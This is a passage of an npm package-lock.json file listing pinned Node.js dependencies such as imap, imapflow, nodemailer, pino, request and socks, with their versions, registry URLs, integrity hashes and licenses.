901 | "integrity": "sha512-nmT2T0lljbxdQZfspsno9hgrG3Uir6Ks5afism62poxqBM6sDnMEuPmzTq8XN0OEwqKLLdh1jQI3qyE66Nzb3w==",
902 | "deprecated": "this library is no longer supported",
903 | "license": "MIT",
904 | "dependencies": {
905 | "ajv": "^6.12.3",
906 | "har-schema": "^2.0.0"
907 | },
908 | "engines": {
909 | "node": ">=6"
910 | }
911 | },
912 | "node_modules/http-cache-semantics": {
913 | "version": "4.1.1",
914 | "resolved": "https://registry.npmjs.org/http-cache-semantics/-/http-cache-semantics-4.1.1.tgz",
915 | "integrity": "sha512-er295DKPVsV82j5kw1Gjt+ADA/XYHsajl82cGNQG2eyoPkvgUhX+nDIyelzhIWbbsXP39EHcI6l5tYs2FYqYXQ=="
916 | },
917 | "node_modules/http-signature": {
918 | "version": "1.2.0",
919 | "resolved": "https://registry.npmjs.org/http-signature/-/http-signature-1.2.0.tgz",
920 | "integrity": "sha512-CAbnr6Rz4CYQkLYUtSNXxQPUH2gK8f3iWexVlsnMeD+GjlsQ0Xsy1cOX+mN3dtxYomRy21CiOzU8Uhw6OwncEQ==",
921 | "license": "MIT",
922 | "dependencies": {
923 | "assert-plus": "^1.0.0",
924 | "jsprim": "^1.2.2",
925 | "sshpk": "^1.7.0"
926 | },
927 | "engines": {
928 | "node": ">=0.8",
929 | "npm": ">=1.3.7"
930 | }
931 | },
932 | "node_modules/http2-wrapper": {
933 | "version": "1.0.3",
934 | "resolved": "https://registry.npmjs.org/http2-wrapper/-/http2-wrapper-1.0.3.tgz",
935 | "integrity": "sha512-V+23sDMr12Wnz7iTcDeJr3O6AIxlnvT/bmaAAAP/Xda35C90p9599p0F1eHR/N1KILWSoWVAiOMFjBBXaXSMxg==",
936 | "dependencies": {
937 | "quick-lru": "^5.1.1",
938 | "resolve-alpn": "^1.0.0"
939 | },
940 | "engines": {
941 | "node": ">=10.19.0"
942 | }
943 | },
944 | "node_modules/https-proxy-agent": {
945 | "version": "7.0.6",
946 | "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-7.0.6.tgz",
947 | "integrity": "sha512-vK9P5/iUfdl95AI+JVyUuIcVtd4ofvtrOr3HNtM2yxC9bnMbEdp3x01OhQNnjb8IJYi38VlTE3mBXwcfvywuSw==",
948 | "license": "MIT",
949 | "dependencies": {
950 | "agent-base": "^7.1.2",
951 | "debug": "4"
952 | },
953 | "engines": {
954 | "node": ">= 14"
955 | }
956 | },
957 | "node_modules/iconv-lite": {
958 | "version": "0.6.3",
959 | "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.6.3.tgz",
960 | "integrity": "sha512-4fCk79wshMdzMp2rH06qWrJE4iolqLhCUH+OiuIgU++RB0+94NlDL81atO7GX55uUKueo0txHNtvEyI6D7WdMw==",
961 | "license": "MIT",
962 | "dependencies": {
963 | "safer-buffer": ">= 2.1.2 < 3.0.0"
964 | },
965 | "engines": {
966 | "node": ">=0.10.0"
967 | }
968 | },
969 | "node_modules/imap": {
970 | "version": "0.8.19",
971 | "resolved": "https://registry.npmjs.org/imap/-/imap-0.8.19.tgz",
972 | "integrity": "sha512-z5DxEA1uRnZG73UcPA4ES5NSCGnPuuouUx43OPX7KZx1yzq3N8/vx2mtXEShT5inxB3pRgnfG1hijfu7XN2YMw==",
973 | "dependencies": {
974 | "readable-stream": "1.1.x",
975 | "utf7": ">=1.0.2"
976 | },
977 | "engines": {
978 | "node": ">=0.8.0"
979 | }
980 | },
981 | "node_modules/imapflow": {
982 | "version": "1.0.177",
983 | "resolved": "https://registry.npmjs.org/imapflow/-/imapflow-1.0.177.tgz",
984 | "integrity": "sha512-FXM2wR3eD7YyrvvUif/0C3IGhpGuHhCASqRWWz4+1EcbwdySefayWahkRe43dF61XEYxhwbWhD39LbAwJxxX1g==",
985 | "license": "MIT",
986 | "dependencies": {
987 | "encoding-japanese": "2.2.0",
988 | "iconv-lite": "0.6.3",
989 | "libbase64": "1.3.0",
990 | "libmime": "5.3.6",
991 | "libqp": "2.1.1",
992 | "mailsplit": "5.4.2",
993 | "nodemailer": "6.9.16",
994 | "pino": "9.6.0",
995 | "socks": "2.8.3"
996 | }
997 | },
998 | "node_modules/inherits": {
999 | "version": "2.0.4",
1000 | "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz",
1001 | "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==",
1002 | "license": "ISC"
1003 | },
1004 | "node_modules/ip-address": {
1005 | "version": "9.0.5",
1006 | "resolved": "https://registry.npmjs.org/ip-address/-/ip-address-9.0.5.tgz",
1007 | "integrity": "sha512-zHtQzGojZXTwZTHQqra+ETKd4Sn3vgi7uBmlPoXVWZqYvuKmtI0l/VZTjqGmJY9x88GGOaZ9+G9ES8hC4T4X8g==",
1008 | "license": "MIT",
1009 | "dependencies": {
1010 | "jsbn": "1.1.0",
1011 | "sprintf-js": "^1.1.3"
1012 | },
1013 | "engines": {
1014 | "node": ">= 12"
1015 | }
1016 | },
1017 | "node_modules/is-typedarray": {
1018 | "version": "1.0.0",
1019 | "resolved": "https://registry.npmjs.org/is-typedarray/-/is-typedarray-1.0.0.tgz",
1020 | "integrity": "sha512-cyA56iCMHAh5CdzjJIa4aohJyeO1YbwLi3Jc35MmRU6poroFjIGZzUzupGiRPOjgHg9TLu43xbpwXk523fMxKA==",
1021 | "license": "MIT"
1022 | },
1023 | "node_modules/isarray": {
1024 | "version": "0.0.1",
1025 | "resolved": "https://registry.npmjs.org/isarray/-/isarray-0.0.1.tgz",
1026 | "integrity": "sha512-D2S+3GLxWH+uhrNEcoh/fnmYeP8E8/zHl644d/jdA0g2uyXvy3sb0qxotE+ne0LtccHknQzWwZEzhak7oJ0COQ==",
1027 | "license": "MIT"
1028 | },
1029 | "node_modules/isstream": {
1030 | "version": "0.1.2",
1031 | "resolved": "https://registry.npmjs.org/isstream/-/isstream-0.1.2.tgz",
1032 | "integrity": "sha512-Yljz7ffyPbrLpLngrMtZ7NduUgVvi6wG9RJ9IUcyCd59YQ911PBJphODUcbOVbqYfxe1wuYf/LJ8PauMRwsM/g==",
1033 | "license": "MIT"
1034 | },
1035 | "node_modules/jsbn": {
1036 | "version": "1.1.0",
1037 | "resolved": "https://registry.npmjs.org/jsbn/-/jsbn-1.1.0.tgz",
1038 | "integrity": "sha512-4bYVV3aAMtDTTu4+xsDYa6sy9GyJ69/amsu9sYF2zqjiEoZA5xJi3BrfX3uY+/IekIu7MwdObdbDWpoZdBv3/A==",
1039 | "license": "MIT"
1040 | },
1041 | "node_modules/json-buffer": {
1042 | "version": "3.0.1",
1043 | "resolved": "https://registry.npmjs.org/json-buffer/-/json-buffer-3.0.1.tgz",
1044 | "integrity": "sha512-4bV5BfR2mqfQTJm+V5tPPdf+ZpuhiIvTuAB5g8kcrXOZpTT/QwwVRWBywX1ozr6lEuPdbHxwaJlm9G6mI2sfSQ=="
1045 | },
1046 | "node_modules/json-schema": {
1047 | "version": "0.4.0",
1048 | "resolved": "https://registry.npmjs.org/json-schema/-/json-schema-0.4.0.tgz",
1049 | "integrity": "sha512-es94M3nTIfsEPisRafak+HDLfHXnKBhV3vU5eqPcS3flIWqcxJWgXHXiey3YrpaNsanY5ei1VoYEbOzijuq9BA==",
1050 | "license": "(AFL-2.1 OR BSD-3-Clause)"
1051 | },
1052 | "node_modules/json-schema-traverse": {
1053 | "version": "0.4.1",
1054 | "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz",
1055 | "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==",
1056 | "license": "MIT"
1057 | },
1058 | "node_modules/json-stringify-safe": {
1059 | "version": "5.0.1",
1060 | "resolved": "https://registry.npmjs.org/json-stringify-safe/-/json-stringify-safe-5.0.1.tgz",
1061 | "integrity": "sha512-ZClg6AaYvamvYEE82d3Iyd3vSSIjQ+odgjaTzRuO3s7toCdFKczob2i0zCh7JE8kWn17yvAWhUVxvqGwUalsRA==",
1062 | "license": "ISC"
1063 | },
1064 | "node_modules/jsprim": {
1065 | "version": "1.4.2",
1066 | "resolved": "https://registry.npmjs.org/jsprim/-/jsprim-1.4.2.tgz",
1067 | "integrity": "sha512-P2bSOMAc/ciLz6DzgjVlGJP9+BrJWu5UDGK70C2iweC5QBIeFf0ZXRvGjEj2uYgrY2MkAAhsSWHDWlFtEroZWw==",
1068 | "license": "MIT",
1069 | "dependencies": {
1070 | "assert-plus": "1.0.0",
1071 | "extsprintf": "1.3.0",
1072 | "json-schema": "0.4.0",
1073 | "verror": "1.10.0"
1074 | },
1075 | "engines": {
1076 | "node": ">=0.6.0"
1077 | }
1078 | },
1079 | "node_modules/keyv": {
1080 | "version": "4.5.4",
1081 | "resolved": "https://registry.npmjs.org/keyv/-/keyv-4.5.4.tgz",
1082 | "integrity": "sha512-oxVHkHR/EJf2CNXnWxRLW6mg7JyCCUcG0DtEGmL2ctUo1PNTin1PUil+r/+4r5MpVgC/fn1kjsx7mjSujKqIpw==",
1083 | "dependencies": {
1084 | "json-buffer": "3.0.1"
1085 | }
1086 | },
1087 | "node_modules/libbase64": {
1088 | "version": "1.3.0",
1089 | "resolved": "https://registry.npmjs.org/libbase64/-/libbase64-1.3.0.tgz",
1090 | "integrity": "sha512-GgOXd0Eo6phYgh0DJtjQ2tO8dc0IVINtZJeARPeiIJqge+HdsWSuaDTe8ztQ7j/cONByDZ3zeB325AHiv5O0dg==",
1091 | "license": "MIT"
1092 | },
1093 | "node_modules/libmime": {
1094 | "version": "5.3.6",
1095 | "resolved": "https://registry.npmjs.org/libmime/-/libmime-5.3.6.tgz",
1096 | "integrity": "sha512-j9mBC7eiqi6fgBPAGvKCXJKJSIASanYF4EeA4iBzSG0HxQxmXnR3KbyWqTn4CwsKSebqCv2f5XZfAO6sKzgvwA==",
1097 | "license": "MIT",
1098 | "dependencies": {
1099 | "encoding-japanese": "2.2.0",
1100 | "iconv-lite": "0.6.3",
1101 | "libbase64": "1.3.0",
1102 | "libqp": "2.1.1"
1103 | }
1104 | },
1105 | "node_modules/libqp": {
1106 | "version": "2.1.1",
1107 | "resolved": "https://registry.npmjs.org/libqp/-/libqp-2.1.1.tgz",
1108 | "integrity": "sha512-0Wd+GPz1O134cP62YU2GTOPNA7Qgl09XwCqM5zpBv87ERCXdfDtyKXvV7c9U22yWJh44QZqBocFnXN11K96qow==",
1109 | "license": "MIT"
1110 | },
1111 | "node_modules/lowercase-keys": {
1112 | "version": "2.0.0",
1113 | "resolved": "https://registry.npmjs.org/lowercase-keys/-/lowercase-keys-2.0.0.tgz",
1114 | "integrity": "sha512-tqNXrS78oMOE73NMxK4EMLQsQowWf8jKooH9g7xPavRT706R6bkQJ6DY2Te7QukaZsulxa30wQ7bk0pm4XiHmA==",
1115 | "engines": {
1116 | "node": ">=8"
1117 | }
1118 | },
1119 | "node_modules/mailsplit": {
1120 | "version": "5.4.2",
1121 | "resolved": "https://registry.npmjs.org/mailsplit/-/mailsplit-5.4.2.tgz",
1122 | "integrity": "sha512-4cczG/3Iu3pyl8JgQ76dKkisurZTmxMrA4dj/e8d2jKYcFTZ7MxOzg1gTioTDMPuFXwTrVuN/gxhkrO7wLg7qA==",
1123 | "license": "(MIT OR EUPL-1.1+)",
1124 | "dependencies": {
1125 | "libbase64": "1.3.0",
1126 | "libmime": "5.3.6",
1127 | "libqp": "2.1.1"
1128 | }
1129 | },
1130 | "node_modules/mime-db": {
1131 | "version": "1.52.0",
1132 | "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz",
1133 | "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==",
1134 | "license": "MIT",
1135 | "engines": {
1136 | "node": ">= 0.6"
1137 | }
1138 | },
1139 | "node_modules/mime-types": {
1140 | "version": "2.1.35",
1141 | "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz",
1142 | "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==",
1143 | "license": "MIT",
1144 | "dependencies": {
1145 | "mime-db": "1.52.0"
1146 | },
1147 | "engines": {
1148 | "node": ">= 0.6"
1149 | }
1150 | },
1151 | "node_modules/mimic-response": {
1152 | "version": "1.0.1",
1153 | "resolved": "https://registry.npmjs.org/mimic-response/-/mimic-response-1.0.1.tgz",
1154 | "integrity": "sha512-j5EctnkH7amfV/q5Hgmoal1g2QHFJRraOtmx0JpIqkxhBhI/lJSl1nMpQ45hVarwNETOoWEimndZ4QK0RHxuxQ==",
1155 | "engines": {
1156 | "node": ">=4"
1157 | }
1158 | },
1159 | "node_modules/ms": {
1160 | "version": "2.1.3",
1161 | "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
1162 | "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==",
1163 | "license": "MIT"
1164 | },
1165 | "node_modules/nodemailer": {
1166 | "version": "6.9.16",
1167 | "resolved": "https://registry.npmjs.org/nodemailer/-/nodemailer-6.9.16.tgz",
1168 | "integrity": "sha512-psAuZdTIRN08HKVd/E8ObdV6NO7NTBY3KsC30F7M4H1OnmLCUNaS56FpYxyb26zWLSyYF9Ozch9KYHhHegsiOQ==",
1169 | "license": "MIT-0",
1170 | "engines": {
1171 | "node": ">=6.0.0"
1172 | }
1173 | },
1174 | "node_modules/normalize-url": {
1175 | "version": "6.1.0",
1176 | "resolved": "https://registry.npmjs.org/normalize-url/-/normalize-url-6.1.0.tgz",
1177 | "integrity": "sha512-DlL+XwOy3NxAQ8xuC0okPgK46iuVNAK01YN7RueYBqqFeGsBjV9XmCAzAdgt+667bCl5kPh9EqKKDwnaPG1I7A==",
1178 | "engines": {
1179 | "node": ">=10"
1180 | },
1181 | "funding": {
1182 | "url": "https://github.com/sponsors/sindresorhus"
1183 | }
1184 | },
1185 | "node_modules/oauth-sign": {
1186 | "version": "0.9.0",
1187 | "resolved": "https://registry.npmjs.org/oauth-sign/-/oauth-sign-0.9.0.tgz",
1188 | "integrity": "sha512-fexhUFFPTGV8ybAtSIGbV6gOkSv8UtRbDBnAyLQw4QPKkgNlsH2ByPGtMUqdWkos6YCRmAqViwgZrJc/mRDzZQ==",
1189 | "license": "Apache-2.0",
1190 | "engines": {
1191 | "node": "*"
1192 | }
1193 | },
1194 | "node_modules/on-exit-leak-free": {
1195 | "version": "2.1.2",
1196 | "resolved": "https://registry.npmjs.org/on-exit-leak-free/-/on-exit-leak-free-2.1.2.tgz",
1197 | "integrity": "sha512-0eJJY6hXLGf1udHwfNftBqH+g73EU4B504nZeKpz1sYRKafAghwxEJunB2O7rDZkL4PGfsMVnTXZ2EjibbqcsA==",
1198 | "license": "MIT",
1199 | "engines": {
1200 | "node": ">=14.0.0"
1201 | }
1202 | },
1203 | "node_modules/once": {
1204 | "version": "1.4.0",
1205 | "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz",
1206 | "integrity": "sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==",
1207 | "dependencies": {
1208 | "wrappy": "1"
1209 | }
1210 | },
1211 | "node_modules/p-cancelable": {
1212 | "version": "2.1.1",
1213 | "resolved": "https://registry.npmjs.org/p-cancelable/-/p-cancelable-2.1.1.tgz",
1214 | "integrity": "sha512-BZOr3nRQHOntUjTrH8+Lh54smKHoHyur8We1V8DSMVrl5A2malOOwuJRnKRDjSnkoeBh4at6BwEnb5I7Jl31wg==",
1215 | "engines": {
1216 | "node": ">=8"
1217 | }
1218 | },
1219 | "node_modules/performance-now": {
1220 | "version": "2.1.0",
1221 | "resolved": "https://registry.npmjs.org/performance-now/-/performance-now-2.1.0.tgz",
1222 | "integrity": "sha512-7EAHlyLHI56VEIdK57uwHdHKIaAGbnXPiw0yWbarQZOKaKpvUIgW0jWRVLiatnM+XXlSwsanIBH/hzGMJulMow==",
1223 | "license": "MIT"
1224 | },
1225 | "node_modules/pino": {
1226 | "version": "9.6.0",
1227 | "resolved": "https://registry.npmjs.org/pino/-/pino-9.6.0.tgz",
1228 | "integrity": "sha512-i85pKRCt4qMjZ1+L7sy2Ag4t1atFcdbEt76+7iRJn1g2BvsnRMGu9p8pivl9fs63M2kF/A0OacFZhTub+m/qMg==",
1229 | "license": "MIT",
1230 | "dependencies": {
1231 | "atomic-sleep": "^1.0.0",
1232 | "fast-redact": "^3.1.1",
1233 | "on-exit-leak-free": "^2.1.0",
1234 | "pino-abstract-transport": "^2.0.0",
1235 | "pino-std-serializers": "^7.0.0",
1236 | "process-warning": "^4.0.0",
1237 | "quick-format-unescaped": "^4.0.3",
1238 | "real-require": "^0.2.0",
1239 | "safe-stable-stringify": "^2.3.1",
1240 | "sonic-boom": "^4.0.1",
1241 | "thread-stream": "^3.0.0"
1242 | },
1243 | "bin": {
1244 | "pino": "bin.js"
1245 | }
1246 | },
1247 | "node_modules/pino-abstract-transport": {
1248 | "version": "2.0.0",
1249 | "resolved": "https://registry.npmjs.org/pino-abstract-transport/-/pino-abstract-transport-2.0.0.tgz",
1250 | "integrity": "sha512-F63x5tizV6WCh4R6RHyi2Ml+M70DNRXt/+HANowMflpgGFMAym/VKm6G7ZOQRjqN7XbGxK1Lg9t6ZrtzOaivMw==",
1251 | "license": "MIT",
1252 | "dependencies": {
1253 | "split2": "^4.0.0"
1254 | }
1255 | },
1256 | "node_modules/pino-std-serializers": {
1257 | "version": "7.0.0",
1258 | "resolved": "https://registry.npmjs.org/pino-std-serializers/-/pino-std-serializers-7.0.0.tgz",
1259 | "integrity": "sha512-e906FRY0+tV27iq4juKzSYPbUj2do2X2JX4EzSca1631EB2QJQUqGbDuERal7LCtOpxl6x3+nvo9NPZcmjkiFA==",
1260 | "license": "MIT"
1261 | },
1262 | "node_modules/process-warning": {
1263 | "version": "4.0.1",
1264 | "resolved": "https://registry.npmjs.org/process-warning/-/process-warning-4.0.1.tgz",
1265 | "integrity": "sha512-3c2LzQ3rY9d0hc1emcsHhfT9Jwz0cChib/QN89oME2R451w5fy3f0afAhERFZAwrbDU43wk12d0ORBpDVME50Q==",
1266 | "funding": [
1267 | {
1268 | "type": "github",
1269 | "url": "https://github.com/sponsors/fastify"
1270 | },
1271 | {
1272 | "type": "opencollective",
1273 | "url": "https://opencollective.com/fastify"
1274 | }
1275 | ],
1276 | "license": "MIT"
1277 | },
1278 | "node_modules/psl": {
1279 | "version": "1.15.0",
1280 | "resolved": "https://registry.npmjs.org/psl/-/psl-1.15.0.tgz",
1281 | "integrity": "sha512-JZd3gMVBAVQkSs6HdNZo9Sdo0LNcQeMNP3CozBJb3JYC/QUYZTnKxP+f8oWRX4rHP5EurWxqAHTSwUCjlNKa1w==",
1282 | "license": "MIT",
1283 | "dependencies": {
1284 | "punycode": "^2.3.1"
1285 | },
1286 | "funding": {
1287 | "url": "https://github.com/sponsors/lupomontero"
1288 | }
1289 | },
1290 | "node_modules/pump": {
1291 | "version": "3.0.2",
1292 | "resolved": "https://registry.npmjs.org/pump/-/pump-3.0.2.tgz",
1293 | "integrity": "sha512-tUPXtzlGM8FE3P0ZL6DVs/3P58k9nk8/jZeQCurTJylQA8qFYzHFfhBJkuqyE0FifOsQ0uKWekiZ5g8wtr28cw==",
1294 | "dependencies": {
1295 | "end-of-stream": "^1.1.0",
1296 | "once": "^1.3.1"
1297 | }
1298 | },
1299 | "node_modules/punycode": {
1300 | "version": "2.3.1",
1301 | "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.3.1.tgz",
1302 | "integrity": "sha512-vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg==",
1303 | "license": "MIT",
1304 | "engines": {
1305 | "node": ">=6"
1306 | }
1307 | },
1308 | "node_modules/qs": {
1309 | "version": "6.5.3",
1310 | "resolved": "https://registry.npmjs.org/qs/-/qs-6.5.3.tgz",
1311 | "integrity": "sha512-qxXIEh4pCGfHICj1mAJQ2/2XVZkjCDTcEgfoSQxc/fYivUZxTkk7L3bDBJSoNrEzXI17oUO5Dp07ktqE5KzczA==",
1312 | "license": "BSD-3-Clause",
1313 | "engines": {
1314 | "node": ">=0.6"
1315 | }
1316 | },
1317 | "node_modules/quick-format-unescaped": {
1318 | "version": "4.0.4",
1319 | "resolved": "https://registry.npmjs.org/quick-format-unescaped/-/quick-format-unescaped-4.0.4.tgz",
1320 | "integrity": "sha512-tYC1Q1hgyRuHgloV/YXs2w15unPVh8qfu/qCTfhTYamaw7fyhumKa2yGpdSo87vY32rIclj+4fWYQXUMs9EHvg==",
1321 | "license": "MIT"
1322 | },
1323 | "node_modules/quick-lru": {
1324 | "version": "5.1.1",
1325 | "resolved": "https://registry.npmjs.org/quick-lru/-/quick-lru-5.1.1.tgz",
1326 | "integrity": "sha512-WuyALRjWPDGtt/wzJiadO5AXY+8hZ80hVpe6MyivgraREW751X3SbhRvG3eLKOYN+8VEvqLcf3wdnt44Z4S4SA==",
1327 | "engines": {
1328 | "node": ">=10"
1329 | },
1330 | "funding": {
1331 | "url": "https://github.com/sponsors/sindresorhus"
1332 | }
1333 | },
1334 | "node_modules/readable-stream": {
1335 | "version": "1.1.14",
1336 | "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-1.1.14.tgz",
1337 | "integrity": "sha512-+MeVjFf4L44XUkhM1eYbD8fyEsxcV81pqMSR5gblfcLCHfZvbrqy4/qYHE+/R5HoBUT11WV5O08Cr1n3YXkWVQ==",
1338 | "license": "MIT",
1339 | "dependencies": {
1340 | "core-util-is": "~1.0.0",
1341 | "inherits": "~2.0.1",
1342 | "isarray": "0.0.1",
1343 | "string_decoder": "~0.10.x"
1344 | }
1345 | },
1346 | "node_modules/real-require": {
1347 | "version": "0.2.0",
1348 | "resolved": "https://registry.npmjs.org/real-require/-/real-require-0.2.0.tgz",
1349 | "integrity": "sha512-57frrGM/OCTLqLOAh0mhVA9VBMHd+9U7Zb2THMGdBUoZVOtGbJzjxsYGDJ3A9AYYCP4hn6y1TVbaOfzWtm5GFg==",
1350 | "license": "MIT",
1351 | "engines": {
1352 | "node": ">= 12.13.0"
1353 | }
1354 | },
1355 | "node_modules/request": {
1356 | "version": "2.88.2",
1357 | "resolved": "https://registry.npmjs.org/request/-/request-2.88.2.tgz",
1358 | "integrity": "sha512-MsvtOrfG9ZcrOwAW+Qi+F6HbD0CWXEh9ou77uOb7FM2WPhwT7smM833PzanhJLsgXjN89Ir6V2PczXNnMpwKhw==",
1359 | "deprecated": "request has been deprecated, see https://github.com/request/request/issues/3142",
1360 | "license": "Apache-2.0",
1361 | "dependencies": {
1362 | "aws-sign2": "~0.7.0",
1363 | "aws4": "^1.8.0",
1364 | "caseless": "~0.12.0",
1365 | "combined-stream": "~1.0.6",
1366 | "extend": "~3.0.2",
1367 | "forever-agent": "~0.6.1",
1368 | "form-data": "~2.3.2",
1369 | "har-validator": "~5.1.3",
1370 | "http-signature": "~1.2.0",
1371 | "is-typedarray": "~1.0.0",
1372 | "isstream": "~0.1.2",
1373 | "json-stringify-safe": "~5.0.1",
1374 | "mime-types": "~2.1.19",
1375 | "oauth-sign": "~0.9.0",
1376 | "performance-now": "^2.1.0",
1377 | "qs": "~6.5.2",
1378 | "safe-buffer": "^5.1.2",
1379 | "tough-cookie": "~2.5.0",
1380 | "tunnel-agent": "^0.6.0",
1381 | "uuid": "^3.3.2"
1382 | },
1383 | "engines": {
1384 | "node": ">= 6"
1385 | }
1386 | },
1387 | "node_modules/request/node_modules/form-data": {
1388 | "version": "2.3.3",
1389 | "resolved": "https://registry.npmjs.org/form-data/-/form-data-2.3.3.tgz",
1390 | "integrity": "sha512-1lLKB2Mu3aGP1Q/2eCOx0fNbRMe7XdwktwOruhfqqd0rIJWwN4Dh+E3hrPSlDCXnSR7UtZ1N38rVXm+6+MEhJQ==",
1391 | "license": "MIT",
1392 | "dependencies": {
1393 | "asynckit": "^0.4.0",
1394 | "combined-stream": "^1.0.6",
1395 | "mime-types": "^2.1.12"
1396 | },
1397 | "engines": {
1398 | "node": ">= 0.12"
1399 | }
1400 | },
1401 | "node_modules/request/node_modules/tough-cookie": {
1402 | "version": "2.5.0",
1403 | "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-2.5.0.tgz",
1404 | "integrity": "sha512-nlLsUzgm1kfLXSXfRZMc1KLAugd4hqJHDTvc2hDIwS3mZAfMEuMbc03SujMF+GEcpaX/qboeycw6iO8JwVv2+g==",
1405 | "license": "BSD-3-Clause",
1406 | "dependencies": {
1407 | "psl": "^1.1.28",
1408 | "punycode": "^2.1.1"
1409 | },
1410 | "engines": {
1411 | "node": ">=0.8"
1412 | }
1413 | },
1414 | "node_modules/resolve-alpn": {
1415 | "version": "1.2.1",
1416 | "resolved": "https://registry.npmjs.org/resolve-alpn/-/resolve-alpn-1.2.1.tgz",
1417 | "integrity": "sha512-0a1F4l73/ZFZOakJnQ3FvkJ2+gSTQWz/r2KE5OdDY0TxPm5h4GkqkWWfM47T7HsbnOtcJVEF4epCVy6u7Q3K+g=="
1418 | },
1419 | "node_modules/responselike": {
1420 | "version": "2.0.1",
1421 | "resolved": "https://registry.npmjs.org/responselike/-/responselike-2.0.1.tgz",
1422 | "integrity": "sha512-4gl03wn3hj1HP3yzgdI7d3lCkF95F21Pz4BPGvKHinyQzALR5CapwC8yIi0Rh58DEMQ/SguC03wFj2k0M/mHhw==",
1423 | "dependencies": {
1424 | "lowercase-keys": "^2.0.0"
1425 | },
1426 | "funding": {
1427 | "url": "https://github.com/sponsors/sindresorhus"
1428 | }
1429 | },
1430 | "node_modules/safe-buffer": {
1431 | "version": "5.2.1",
1432 | "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz",
1433 | "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==",
1434 | "funding": [
1435 | {
1436 | "type": "github",
1437 | "url": "https://github.com/sponsors/feross"
1438 | },
1439 | {
1440 | "type": "patreon",
1441 | "url": "https://www.patreon.com/feross"
1442 | },
1443 | {
1444 | "type": "consulting",
1445 | "url": "https://feross.org/support"
1446 | }
1447 | ],
1448 | "license": "MIT"
1449 | },
1450 | "node_modules/safe-stable-stringify": {
1451 | "version": "2.5.0",
1452 | "resolved": "https://registry.npmjs.org/safe-stable-stringify/-/safe-stable-stringify-2.5.0.tgz",
1453 | "integrity": "sha512-b3rppTKm9T+PsVCBEOUR46GWI7fdOs00VKZ1+9c1EWDaDMvjQc6tUwuFyIprgGgTcWoVHSKrU8H31ZHA2e0RHA==",
1454 | "license": "MIT",
1455 | "engines": {
1456 | "node": ">=10"
1457 | }
1458 | },
1459 | "node_modules/safer-buffer": {
1460 | "version": "2.1.2",
1461 | "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz",
1462 | "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==",
1463 | "license": "MIT"
1464 | },
1465 | "node_modules/semver": {
1466 | "version": "5.3.0",
1467 | "resolved": "https://registry.npmjs.org/semver/-/semver-5.3.0.tgz",
1468 | "integrity": "sha512-mfmm3/H9+67MCVix1h+IXTpDwL6710LyHuk7+cWC9T1mE0qz4iHhh6r4hU2wrIT9iTsAAC2XQRvfblL028cpLw==",
1469 | "license": "ISC",
1470 | "bin": {
1471 | "semver": "bin/semver"
1472 | }
1473 | },
1474 | "node_modules/smart-buffer": {
1475 | "version": "4.2.0",
1476 | "resolved": "https://registry.npmjs.org/smart-buffer/-/smart-buffer-4.2.0.tgz",
1477 | "integrity": "sha512-94hK0Hh8rPqQl2xXc3HsaBoOXKV20MToPkcXvwbISWLEs+64sBq5kFgn2kJDHb1Pry9yrP0dxrCI9RRci7RXKg==",
1478 | "license": "MIT",
1479 | "engines": {
1480 | "node": ">= 6.0.0",
1481 | "npm": ">= 3.0.0"
1482 | }
1483 | },
1484 | "node_modules/socks": {
1485 | "version": "2.8.3",
1486 | "resolved": "https://registry.npmjs.org/socks/-/socks-2.8.3.tgz",
1487 | "integrity": "sha512-l5x7VUUWbjVFbafGLxPWkYsHIhEvmF85tbIeFZWc8ZPtoMyybuEhL7Jye/ooC4/d48FgOjSJXgsF/AJPYCW8Zw==",
1488 | "license": "MIT",
1489 | "dependencies": {
1490 | "ip-address": "^9.0.5",
1491 | "smart-buffer": "^4.2.0"
1492 | },
1493 | "engines": {
1494 | "node": ">= 10.0.0",
1495 | "npm": ">= 3.0.0"
1496 | }
1497 | },
1498 | "node_modules/socks-proxy-agent": {
1499 | "version": "8.0.5",
1500 | "resolved": "https://registry.npmjs.org/socks-proxy-agent/-/socks-proxy-agent-8.0.5.tgz",
